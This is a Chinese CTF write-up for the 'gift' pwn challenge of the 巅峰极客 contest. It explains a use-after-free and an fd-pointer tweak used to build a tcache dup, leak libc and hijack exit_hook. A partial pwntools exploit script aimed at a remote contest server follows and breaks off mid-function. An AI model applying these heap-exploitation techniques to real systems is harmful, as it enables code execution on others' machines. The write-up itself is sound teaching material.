巅峰极客pwn wp

Pwn

gift

程序保护全开

程序功能:

  • add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写。

  • delete:有UAF

  • show:可泄露

  • bargain:可以用来控制fd。并且类型为int,比较类型也是有符号比较,所以可以减0x10范围内的数字,或者加int(4字节内)的数字。

因为这道题idx太少了,直接free掉7个chunk填满tcache_list不可行,所以我是通过bargain函数修改fd指针到一个fake_chunk,这个fake_chunk大小属于unsortedbin范围,且可通过add一次0x60大小堆块修改到下一个已被free的0x100大小tcache去改掉它的next指针。

这样的话不仅可以泄露unsorted bin 的fd,还可以顺带改掉下一个已经被free掉的tcache的fd,实现tcache_dup

ps:这里也有个洞不过尝试了一下不好利用,在add里面mode选择3,会跳过malloc直接read:

[5MX`)__4R4ZAT[~}C)K)KM

问题出在,远程libc不确定,我最先尝试的是glibc 2.31 9.9free_hook五个ogg都失败(one_gadget -l2可以查看更多ogg)。因为idx原因也打不了malloc_hook,我打exit_hook成功了。

尝试远程之后寄。

后来尝试了2.29和2.27,在2.27成功。

EXP:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/巅峰极客/gift/pwn')
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/gift/libc.so.6')
r = remote('101.200.85.91',44388)

def menu(choice):
    r.recvuntil(b"your choice:")
    r.sendline(str(choice))

def add(what,content):
    menu(2)
    r.recvuntil(b"your choice:")
    r.sendline(str(what))
    r.recvuntil(b"plz write your wish on your gift!")
    r.send(content)

def delete(idx):
    menu(3)
    r.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值